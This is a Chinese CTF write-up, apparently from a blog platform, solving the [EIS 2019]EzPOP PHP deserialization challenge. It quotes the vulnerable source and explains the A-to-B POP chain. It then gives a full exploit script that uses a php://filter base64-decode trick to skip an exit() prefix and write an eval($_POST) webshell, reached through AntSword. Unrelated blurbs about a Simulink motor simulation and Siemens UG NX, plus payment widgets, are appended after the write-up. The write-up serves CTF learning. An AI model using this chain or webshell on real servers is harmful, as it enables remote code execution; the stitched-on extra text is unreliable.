序列化与反序列化——[EIS 2019]EzPOP

本文详细分析了一个涉及PHP类的代码审计题目,重点讨论了如何通过构造特定输入来触发内部函数,如file_put_contents,以实现webshell的写入。通过分析类A和类B的方法,找到了调用set函数的路径,并探讨了如何利用serialize、unserialize过程,以及数据拼接、压缩、存储等环节的漏洞来构造payload。最后,给出了完整的exploit脚本和蚁剑连接,成功获取flag。

文章目录

题目

链接:https://buuoj.cn/challenges#[EIS%202019]EzPOP

解答

<?php
error_reporting(0);

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
        $this->key = $key;
        $this->store = $store;
        $this->expire = $expire;
    }

    public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

    public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

    public function save() {
        $contents = $this->getForStorage();

        $this->store->set($this->key, $contents, $this->expire);
    }

    public function __destruct() {
        if (!$this->autosave) {
            $this->save();
        }
    }
}

class B {

    protected function getExpireTime($expire): int {
        return (int) $expire;
    }

    public function getCacheKey(string $name): string {
        return $this->options['prefix'] . $name;
    }

    protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

    public function set($name, $value, $expire = null): bool{
        $this->writeTimes++;

        if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);

        $dir = dirname($filename);

        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }

        $data = $this->serialize($value);

        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

        $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
        $result = file_put_contents($filename, $data);

        if ($result) {
            return true;
        }

        return false;
    }

}

if (isset($_GET['src']))
{
    highlight_file(__FILE__);
}

$dir = "uploads/";

if (!is_dir($dir))
{
    mkdir($dir);
}
unserialize($_GET["data"]);

代码审计题哈哈哈哈,迎难而上
1、可以先分析两个类中函数的作用,这里先从要点入手,B类中有一个file_put_contents函数,可以考虑向文件中写入shell,但是类B中没有调用set函数的魔术方法,正好A类中save函数调用了set函数,而A类中的_destruct调用了save函数
整体思路就有了:A对象的序列化字符串——>unserialize——>调用_unserialize——>调用save——>调用set

$a = new A();

2、下面就是逐步分析这些函数
A中_destruct函数,$this->autosave需要为false,执行$this->save(),$this->store需要调用set,就必须是B类的实例化对象,暂时可以得到

$a->autosave = false;
$b = new B()
$a->store = $b;

3、由于不清楚set中需要什么参数,我们先分析set函数,正面不好入手,从结果倒退
先看filename,主要是这条语句:$filename = $this->getCacheKey($name);$name是传过来的参数,而getCacheKey的作用是$this->options[‘prefix’]和$name拼接,再回到A类中看$name的来源,其实就是A中的$this->key,故可以得到:

$b->options['prefix'] = shell;
$a->key = '.php';

4、再来看data,从下往上看:$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;这是一个拼接,继续往上找需要拼接的两个参数

if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }

不存在gzcompress,故不会压缩,当然也可以把$this->options[‘data_compress’]设为false

$data = $this->serialize($value);

调用了这个函数,分析

protected function serialize($data): string {
        if (is_numeric($data)) {
            return (string) $data;
        }

        $serialize = $this->options['serialize'];

        return $serialize($data);
    }

$this->options[‘serialize’]可控,可以传递一个函数名,然后对data进行操作,而data是set函数value传值过来的,在A中传过来的是$contents,而调用了$this->getForStorage得到了$contents

public function getForStorage() {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete]);
    }

$this->complete可控,$cleaned可以让它为空

public function cleanContents(array $contents) {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

array_intersect_key表示取两个数组交集,由于$this->cache可控,故可以构造此函数结果返回为控,故

b->options['data_compress'] = false;
a->cache = array();
b->complete传入shell

这里还有一个参数:$expire

if (is_null($expire)) {
            $expire = $this->options['expire'];
        }

        $expire = $this->getExpireTime($expire);

把传来的值和赋值的值都设为空即可
5、再来看拼接$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; 拼接了exit提前退出,导致webshell不会执行,需要绕过

在这里插入图片描述
6、编写脚本

$b = new B();
$b->writeTimes = 0;
$b -> options = array('serialize' => "trim",
    'data_compress' => false,
    'prefix' => "php://filter/write=convert.base64-decode/resource=uploads/b");

$a = new A($store = $b, $key = ".php", $expire = 0);
$a->autosave = false;
$a->cache = array();
$a->complete = 'aaa'.base64_encode('<?php @eval($_POST["b"]);?>');
# 这里拼接了aaa 是为了base64能正常解码
echo urlencode(serialize($a));

7、蚁剑连接
在这里插入图片描述
拿到flag

过程有点乱,可以参考下面这篇文章:https://www.redhatzone.com/ask/article/1521.html

内容概要:本文介绍了一个基于Simulink的混合储能驱动永磁同步电机全系统仿真模型,涵盖了系统整体架构关键控制策略,重点实现了电流环的二阶滑模控制(STSMC)、有限集模型预测控制(FCS-MPC)和PI控制等多种先进控制方法。该模型集成了混合储能系统永磁同步电机驱动系统,能够模拟复杂工况下的动态响应、能量管理过程及多变量耦合特性,适用于高性能电机控制系统的设计、分析验证,尤其在新能源汽车、电动驱动系统和工业自动化等领域具有重要应用价值。; 适合人群:具备Simulink仿真基础、电力电子电机控制背景的高校研究生、科研人员及自动化、电气工程领域的研发工程师。; 使用场景及目标:①用于研究和对比不同电流控制策略(如STSMC、FCS-MPC、PI)在永磁同步电机系统中的动态性能、鲁棒性抗干扰能力;②支撑混合储能系统在电动驱动、新能源汽车、智能电网等领域的系统级仿真优化设计;③为先进控制算法的开发工程化落地提供高保真、模块化的仿真平台。; 阅读建议:建议结合Simulink模型相关控制理论进行对照学习,重点关注各功能模块之间的信号交互、控制逻辑设计及参数整定方法,可通过修改负载条件、切换控制模式等方式开展对比实验,深入理解系统动态行为控制效果差异。
软件概述 UG(Unigraphics NX)是一款由西门子(Siemens PLM Software)开发的交互式CAD/CAM/CAE系统。作为全球领先的产品工程解决方案,它集成了产品设计、工程仿真制造加工于一体。其功能强大且应用广泛,能够轻松实现各种复杂实体和造型的构造,为模具、汽车、航空航天及通用机械等行业提供了高性能的机械设计制图灵活性。 软件基础信息 • 支持系统: 64位 Windows 10、Windows 11 核心功能模块 一、创新设计:高效、灵活、无缝协同 全链路产品设计 涵盖从2D布局、3D建模、装配设计到图纸文档记录的各个环节,大幅提升设计吞吐量,缩短交付周期超35%。 强大的同步建模技术 打破数据壁垒,可无缝导入并直接修改来自其他CAD系统的几何模型,是跨平台协同设计的理想选择。 复杂装配管理 专为大型复杂产品打造,即使面对成千上万的零件也能从容应对,快速识别并解决数字样机中的干涉等问题。 集成设计验证 内置自动验证功能,实时监控设计是否符合公司及行业标准;结合PLM数据可视化合成,辅助工程师做出更明智的决策。 二、综合仿真(Simcenter 3D):精准预测,降低试错成本 极速前后处理 依托先进的几何引擎,将强大的分析命令几何编辑紧密集成,相比传统有限元工具,可缩短高达70%的仿真建模时间。 全方位结构分析 在同一环境中集成线性静力学、动态、疲劳及非线性分析,底层由业界顶尖的NX Nastran解算器提供支持,确保计算的高精度可靠性。 声学热管理分析 提供内外声学仿真以优化音质、降低噪音;具备一流的热传导仿真能力,帮助电子产品和工业机械实现最佳热管理方案。 多物理场耦合 简化了结构动力学、热传导、流体流动等复杂物理现象的模拟过程,消除外部数据传输错误,真实还原产品运行工况。 三、智能制造(CAM):打通从计划到车间的数字主线 全面的制造解决方案 提供从工装设计、CAM编程到机床控制器(如Sinumerik)的一体化支持,助力制定更科学的生产决策。 深度集成的PLM环境 借助Teamcenter实现数据和流程的统一管理,避免多数据库冲突,支持重用验证过的加工工艺刀具库。 车间级互联 通过DNC系统车间无缝对接,直接将加工数据和刀具清单下发至CNC机床,实现计划生产的紧密结合。 提质增效 优化NC编程刀具路径,提升表面精加工水平零件精度;减少人为错误,显著提高新机床部署成功率及制造资源利用率。 总结 UG NX 2023作为一款集成化的产品工程解决方案,通过其强大的设计、仿真和制造功能,为现代制造业提供了完整的数字化产品开发平台。无论是复杂产品的设计验证,还是精密制造的流程优化,UG NX 2023都能为工程师团队提供高效、可靠的解决方案,助力企业提升产品创新能力和市场竞争力。 适用领域 模具设计、汽车制造、航空航天、通用机械、消费电子等
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值